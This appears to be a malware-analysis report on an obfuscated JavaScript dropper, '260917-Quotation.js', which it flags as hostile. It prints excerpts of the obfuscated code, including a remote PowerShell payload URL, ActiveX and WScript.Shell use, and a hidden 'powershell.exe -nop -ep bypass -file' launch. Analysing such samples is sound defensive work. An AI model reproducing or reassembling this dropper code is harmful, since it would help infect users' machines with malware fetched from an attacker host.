Hostile ^100% Download

260917-Quotation.js

Obfuscated PowerShell dropper execution

Obfuscated ActiveX JS uses PS ep bypassWScript.Shell hides launched command window

SHA-2563c58dc6e42f1429c2c591d30e329618e7325c427706c3d3f05313ed4ded7e043

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₄(ErXe₂As₃C)H₆(Po₈Cm₃Cr₂Db₇F₃Os)Md₂(Pa)

Evidence

ActiveXObject with obfuscated ProgID expression lines 1–15

1function _0x4b07(_0x6747b5, _0x33a47d) {
  _0x6747b5 = _0x6747b5 - 0x0;
  var _0x4a2e1c = _0x221f(), _0x3fe342 = _0x4a2e1c[_0x6747b5];
  return _0x3fe342;
5}
6(function () {
  'use strict';
  var _0x466095 = _0x4832, _0x54d7e5 = _0x4832;
  var _0x123d69 = _0x4b07, _0x54e070 = _0x4b07, _0x5cad35 = _0x4b07, _0x5b1883 = _0x4b07, _0x3d1bde = _0x4b07, _0x2740d9 = _0x4b07, _0x7a6718 = {};
  _0x7a6718[_0x123d69(0x6)] = 'https://hponline.run.place/massfrndd/secured_stub.ps1', _0x7a6718[_0x123d69(0x7)] = _0x466095(0x47, 'MGE^'), _0x7a6718[_0x54e070(0xa)] = 0x2;
  var _0x54a192 = _0x7a6718, _0x5909dd = new ActiveXObject(_0x123d69(0x14)), _0x4718e4 = new ActiveXObject(_0x3d1bde(0x8)), _0x3530b2 = new ActiveXObject(_0x2740d9(0x19));
  function _0x340618(_0x51f211) {
      var _0x4f48c9 = _0x466095, _0x303fdd = _0x466095, _0x49937f = _0x466095, _0x313239 = _0x466095, _0x5945bf = _0x466095, _0xc5371 = _0x466095;
      if ('bKRtm' === _0x4f48c9(0x67, ')r6t')) {
          var _0x1d716c = _0x54e070, _0xedd54b = _0x54e070, _0x485301 = _0x54e070, _0x73aa85 = _0x54e070, _0x7fb6d2 = _0x54e070, _0x209b0f = _0x54e070;

References the WScript.Shell COM object lines 171–175

28…                      _0x374212(0x6d, 'cvYU'),
                                              'WScript.Shell',
                                              _0x500563(0x34, '&xM%'),
                                              _0x1db744(0x4a, 'eus*'),
                                       …

PowerShell nop/ep-bypass -File launch lines 179–187

44…      'lvkti',
                                              'CreateTextFile',
                                              '.ps1',
                                              _0x42492c(0xa, 'EB1A'),
                                              'powershell.exe\x20-nop\x20-ep\x20bypass\x20-file\x20\x22',
                                              _0x42492c(0x3, 'EB1A'),
                                              _0x1db744(0x52, 'e32z'),
                                              _0x1db744(0x37, 'eus*'),
                      …

WSH Run call requests a hidden window lines 202–207

31…               _0xb0c7f2(_0x25e8e6, _0x5cdce7);
                                          var _0x361a5b = _0x38f766(0x13) + _0x25e8e6 + '\x22';
                                          _0x42b7eb['Run'](_0x361a5b, 0x0, !![]), _0x42df55 = !![];
                                      }
                                  } catch (_0x56d981) {
                                      if ( …

References an XMLHTTP COM client lines 498–509

38… 
          _0x4e2884(0x77, 'b(qx'),
          _0x4e2884(0x3b, '7ofs'),
          _0x4f40d7(0x1e, '(593'),
          'MSXML2.XMLHTTP',
          _0x6c4d4(0x5d, '9B%3'),
          _0x161589(0x3e, '91r5'),
⋯5 lines